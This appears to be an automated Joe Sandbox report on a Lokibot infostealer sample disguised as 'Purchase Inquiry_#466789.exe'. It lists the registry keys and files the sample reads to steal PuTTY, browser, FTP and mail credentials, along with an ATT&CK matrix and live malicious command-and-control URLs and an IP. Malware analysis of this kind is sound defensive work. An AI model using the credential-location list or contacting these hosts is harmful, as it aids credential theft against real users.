Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\holomdl2.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\AGENCYR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\ALGER.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\BKANT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\BASKVILL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\BAUHS93.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\BELL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\BELLI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\BOD_R.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\BOD_I.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\BOD_CI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\BOD_CB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\BOD_CBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\BOD_PSTC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\BOOKOSB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\BOOKOSBI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\BRADHITC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\BRITANIC.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\BRLNSR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\BRLNSDB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\BRLNSB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\BRUSHSCI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\BSSYM7.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\CALIFI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\CALIFB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\CENSCBK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\COPRGTL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\CURLZ___.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\DUBAI-REGULAR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\DUBAI-MEDIUM.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\ELEPHNT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\ELEPHNTI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\FORTE.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\FTLTLT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\GILB____.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\HTOWERT.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\IMPRISHA.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\LFAX.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\LFAXI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\LSANSD.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\LSANSI.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\LTYPEO.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\LTYPEBO.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\MAGNETOB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\MOD20.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\MSUIGHUR.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\OUTLOOK.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\POORICH.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\OFFSYMSB.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\OFFSYMXL.TTF VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Yara detected Lokibot

Source: Yara match	File source: 2.2.Purchase Inquiry_#466789.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.Purchase Inquiry_#466789.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Purchase Inquiry_#466789.exe.3f60a40.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Purchase Inquiry_#466789.exe.3f7aa60.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.2908357290.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1674708202.0000000003F7A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1674289930.0000000002D79000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1674708202.0000000003EFE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Purchase Inquiry_#466789.exe PID: 1880, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Purchase Inquiry_#466789.exe PID: 7244, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 00000002.00000002.2909018268.00000000011B8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Key opened: HKEY_CURRENT_USER\Software\9bis.com\KiTTY\Sessions			Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Key opened: HKEY_CURRENT_USER\Software\Martin Prikryl			Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe

File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data

Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	File opened: HKEY_CURRENT_USER\Software\Far2\Plugins\FTP\Hosts	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	File opened: HKEY_CURRENT_USER\Software\NCH Software\ClassicFTP\FTPAccounts	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	File opened: HKEY_CURRENT_USER\Software\FlashPeak\BlazeFtp\Settings	Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	File opened: HKEY_CURRENT_USER\Software\Far\Plugins\FTP\Hosts	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities			Jump to behavior
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook			Jump to behavior

Tries to steal Mail credentials (via file registry)

Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Code function: PopPassword		2_2_0040D069
Source: C:\Users\user\Desktop\Purchase Inquiry_#466789.exe	Code function: SmtpPassword		2_2_0040D069

Source: Yara match	File source: 2.2.Purchase Inquiry_#466789.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.Purchase Inquiry_#466789.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Purchase Inquiry_#466789.exe.3f60a40.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Purchase Inquiry_#466789.exe.3f7aa60.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.2908357290.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1674708202.0000000003F7A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1674289930.0000000002D79000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1674708202.0000000003EFE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 DLL Side-Loading	1 Access Token Manipulation	1 Masquerading	2 OS Credential Dumping	11 Security Software Discovery	Remote Services	1 Email Collection	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	11 Process Injection	1 Disable or Modify Tools	2 Credentials in Registry	31 Virtualization/Sandbox Evasion	Remote Desktop Protocol	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	31 Virtualization/Sandbox Evasion	Security Account Manager	1 File and Directory Discovery	SMB/Windows Admin Shares	2 Data from Local System	1 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Access Token Manipulation	NTDS	13 System Information Discovery	Distributed Component Object Model	Input Capture	111 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	11 Process Injection	LSA Secrets	Internet Connection Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Deobfuscate/Decode Files or Information	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	3 Obfuscated Files or Information	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	12 Software Packing	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 DLL Side-Loading	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Purchase Inquiry_#466789.exe	71%	ReversingLabs	Win32.Trojan.Leonem
Purchase Inquiry_#466789.exe	43%	Virustotal		Browse
Purchase Inquiry_#466789.exe	100%	Avira	TR/AVI.LokiBot.bnwoa
Purchase Inquiry_#466789.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label	Link
http://www.apache.org/licenses/LICENSE-2.0	0%	URL Reputation	safe
http://www.fontbureau.com	0%	URL Reputation	safe
http://www.fontbureau.com/designersG	0%	URL Reputation	safe
http://kbfvzoboss.bid/alien/fre.php	100%	URL Reputation	malware
http://www.fontbureau.com/designers/?	0%	URL Reputation	safe
http://www.founder.com.cn/cn/bThe	0%	URL Reputation	safe
http://alphastand.top/alien/fre.php	100%	URL Reputation	malware
http://alphastand.top/alien/fre.php	100%	URL Reputation	malware
http://www.fontbureau.com/designers?	0%	URL Reputation	safe
http://www.ibsensoftware.com/	0%	URL Reputation	safe
https://api.w.org/	0%	URL Reputation	safe
http://www.tiro.com	0%	URL Reputation	safe
http://www.fontbureau.com/designers	0%	URL Reputation	safe
http://alphastand.win/alien/fre.php	100%	URL Reputation	malware
https://gmpg.org/xfn/11	0%	URL Reputation	safe
http://www.goodfont.co.kr	0%	URL Reputation	safe
http://www.goodfont.co.kr	0%	URL Reputation	safe
http://alphastand.trade/alien/fre.php	100%	URL Reputation	malware
http://alphastand.trade/alien/fre.php	100%	URL Reputation	malware
https://www.chiark.greenend.org.uk/~sgtatham/putty/0	0%	URL Reputation	safe
http://www.carterandcone.coml	0%	URL Reputation	safe
http://www.sajatypeworks.com	0%	URL Reputation	safe
http://www.sajatypeworks.com	0%	URL Reputation	safe
http://www.typography.netD	0%	URL Reputation	safe
http://www.fontbureau.com/designers/cabarga.htmlN	0%	URL Reputation	safe
http://www.founder.com.cn/cn/cThe	0%	URL Reputation	safe
http://www.galapagosdesign.com/staff/dennis.htm	0%	URL Reputation	safe
http://www.galapagosdesign.com/staff/dennis.htm	0%	URL Reputation	safe
http://www.founder.com.cn/cn	0%	URL Reputation	safe
http://www.fontbureau.com/designers/frere-user.html	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/	0%	URL Reputation	safe
http://www.jiyu-kobo.co.jp/	0%	URL Reputation	safe
http://www.galapagosdesign.com/DPlease	0%	URL Reputation	safe
http://www.fontbureau.com/designers8	0%	URL Reputation	safe
http://www.fonts.com	0%	URL Reputation	safe
http://www.sandoll.co.kr	0%	URL Reputation	safe
http://www.urwpp.deDPlease	0%	URL Reputation	safe
http://www.zhongyicts.com.cn	0%	URL Reputation	safe
http://www.sakkal.com	0%	URL Reputation	safe
http://45.61.137.215/index.php/feed/	100%	Avira URL Cloud	malware
http://45.61.137.215/index.php/wp-json/	100%	Avira URL Cloud	malware
http://45.61.137.215/index.php/comments/feed/	100%	Avira URL Cloud	malware
http://45.61.137.215/index.php/t?id=090	100%	Avira URL Cloud	malware
http://45.61.137.215/index.php/feed/	7%	Virustotal		Browse
http://45.61.137.215/index.php/comments/feed/	7%	Virustotal		Browse
http://45.61.137.215/index.php/t?id=090	19%	Virustotal		Browse
http://45.61.137.215/index.php/wp-json/	7%	Virustotal		Browse

Name	Malicious	Antivirus Detection	Reputation
http://kbfvzoboss.bid/alien/fre.php	true	URL Reputation: malware	unknown
http://alphastand.top/alien/fre.php	true	URL Reputation: malware URL Reputation: malware	unknown
http://alphastand.win/alien/fre.php	true	URL Reputation: malware	unknown
http://alphastand.trade/alien/fre.php	true	URL Reputation: malware URL Reputation: malware	unknown
http://45.61.137.215/index.php/t?id=090	true	19%, Virustotal, Browse Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://www.apache.org/licenses/LICENSE-2.0	Purchase Inquiry_#466789.exe, 00000000.00000002.1676645014.0000000006EE2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com	Purchase Inquiry_#466789.exe, 00000000.00000002.1676645014.0000000006EE2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designersG	Purchase Inquiry_#466789.exe, 00000000.00000002.1676645014.0000000006EE2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://45.61.137.215/index.php/feed/	Purchase Inquiry_#466789.exe, 00000002.00000002.2909018268.00000000011B8000.00000004.00000020.00020000.00000000.sdmp	false	7%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://www.fontbureau.com/designers/?	Purchase Inquiry_#466789.exe, 00000000.00000002.1676645014.0000000006EE2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.founder.com.cn/cn/bThe	Purchase Inquiry_#466789.exe, 00000000.00000002.1676645014.0000000006EE2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers?	Purchase Inquiry_#466789.exe, 00000000.00000002.1676645014.0000000006EE2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.ibsensoftware.com/	Purchase Inquiry_#466789.exe, Purchase Inquiry_#466789.exe, 00000002.00000002.2908357290.0000000000400000.00000040.00000400.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.w.org/	Purchase Inquiry_#466789.exe, 00000002.00000002.2909018268.00000000011B8000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.tiro.com	Purchase Inquiry_#466789.exe, 00000000.00000002.1676645014.0000000006EE2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers	Purchase Inquiry_#466789.exe, 00000000.00000002.1676645014.0000000006EE2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://gmpg.org/xfn/11	Purchase Inquiry_#466789.exe, 00000002.00000002.2909018268.00000000011B8000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.goodfont.co.kr	Purchase Inquiry_#466789.exe, 00000000.00000002.1676645014.0000000006EE2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
https://www.chiark.greenend.org.uk/~sgtatham/putty/0	Purchase Inquiry_#466789.exe	false	URL Reputation: safe	unknown
http://www.carterandcone.coml	Purchase Inquiry_#466789.exe, 00000000.00000002.1676645014.0000000006EE2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.sajatypeworks.com	Purchase Inquiry_#466789.exe, 00000000.00000002.1676645014.0000000006EE2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
http://www.typography.netD	Purchase Inquiry_#466789.exe, 00000000.00000002.1676645014.0000000006EE2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers/cabarga.htmlN	Purchase Inquiry_#466789.exe, 00000000.00000002.1676645014.0000000006EE2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.founder.com.cn/cn/cThe	Purchase Inquiry_#466789.exe, 00000000.00000002.1676645014.0000000006EE2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.galapagosdesign.com/staff/dennis.htm	Purchase Inquiry_#466789.exe, 00000000.00000002.1676645014.0000000006EE2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
http://www.founder.com.cn/cn	Purchase Inquiry_#466789.exe, 00000000.00000002.1676645014.0000000006EE2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers/frere-user.html	Purchase Inquiry_#466789.exe, 00000000.00000002.1676645014.0000000006EE2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://45.61.137.215/index.php/wp-json/	Purchase Inquiry_#466789.exe, 00000002.00000002.2909018268.00000000011B8000.00000004.00000020.00020000.00000000.sdmp	false	7%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://www.jiyu-kobo.co.jp/	Purchase Inquiry_#466789.exe, 00000000.00000002.1676645014.0000000006EE2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
http://www.galapagosdesign.com/DPlease	Purchase Inquiry_#466789.exe, 00000000.00000002.1676645014.0000000006EE2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fontbureau.com/designers8	Purchase Inquiry_#466789.exe, 00000000.00000002.1676645014.0000000006EE2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.fonts.com	Purchase Inquiry_#466789.exe, 00000000.00000002.1676645014.0000000006EE2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.sandoll.co.kr	Purchase Inquiry_#466789.exe, 00000000.00000002.1676645014.0000000006EE2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.urwpp.deDPlease	Purchase Inquiry_#466789.exe, 00000000.00000002.1676645014.0000000006EE2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.zhongyicts.com.cn	Purchase Inquiry_#466789.exe, 00000000.00000002.1676645014.0000000006EE2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://45.61.137.215/index.php/comments/feed/	Purchase Inquiry_#466789.exe, 00000002.00000002.2909018268.00000000011B8000.00000004.00000020.00020000.00000000.sdmp	false	7%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://www.sakkal.com	Purchase Inquiry_#466789.exe, 00000000.00000002.1676645014.0000000006EE2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
45.61.137.215	unknown	United States		40676	AS40676US	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1447828
Start date and time:	2024-05-27 08:31:08 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 49s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Purchase Inquiry_#466789.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@3/3@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 99% Number of executed functions: 53 Number of non-executed functions: 12
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
02:31:56	API Interceptor	44x Sleep call for process: Purchase Inquiry_#466789.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
45.61.137.215	FedEx_776282383902.exe	Get hash	malicious	Lokibot	Browse	45.61.137.215/index.php/t?id=090
	hgDQGUqtEg.exe	Get hash	malicious	Lokibot	Browse	45.61.137.215/index.php/3b1tenbkyj
	g1lrdXCX39.exe	Get hash	malicious	Lokibot	Browse	45.61.137.215/index.php/index?id=671120760852658
	gunzipped.exe	Get hash	malicious	Lokibot	Browse	45.61.137.215/index.php/modify?post=1
	FedEx Receipt_AWB# 102235506763.exe	Get hash	malicious	Lokibot	Browse	45.61.137.215/index.php/t?id=090
	DHLAwb#82102199382.exe	Get hash	malicious	Lokibot	Browse	45.61.137.215/index.php/index?id=671120760852658
	TBHD77628238942.exe	Get hash	malicious	Lokibot	Browse	45.61.137.215/index.php/6790
	Dospecepotrazivanja_pdf.exe	Get hash	malicious	Lokibot	Browse	45.61.137.215/index.php/3b1tenbkyj
	RFQ#678903403.exe	Get hash	malicious	Lokibot	Browse	45.61.137.215/index.php/t?id=090

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AS40676US	file.exe	Get hash	malicious	Unknown	Browse	41.216.183.25
	file.exe	Get hash	malicious	Unknown	Browse	41.216.183.25
	fdftMGtnix.elf	Get hash	malicious	Unknown	Browse	23.133.14.61
	n4WgIM7VfS.elf	Get hash	malicious	Mirai	Browse	162.73.212.211
	file.exe	Get hash	malicious	Unknown	Browse	41.216.183.25
	file.exe	Get hash	malicious	Unknown	Browse	41.216.183.25
	file.exe	Get hash	malicious	Unknown	Browse	104.225.208.26
	FedEx_776282383902.exe	Get hash	malicious	Lokibot	Browse	45.61.137.215
	dn7MMSZM9O.elf	Get hash	malicious	Unknown	Browse	206.201.59.139
	hgDQGUqtEg.exe	Get hash	malicious	Lokibot	Browse	45.61.137.215

Process:	C:\Users\user\Desktop\Purchase Inquiry_#466789.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1216
Entropy (8bit):	5.34331486778365
Encrypted:	false
SSDEEP:	24:MLUE4K5E4KH1qE4qXKDE4KhKiKhPKIE4oKNzKoZAE4Kze0E4x84j:MIHK5HKH1qHiYHKh3oPtHo6hAHKze0HJ
MD5:	1330C80CAAC9A0FB172F202485E9B1E8
SHA1:	86BAFDA4E4AE68C7C3012714A33D85D2B6E1A492
SHA-256:	B6C63ECE799A8F7E497C2A158B1FFC2F5CB4F745A2F8E585F794572B7CF03560
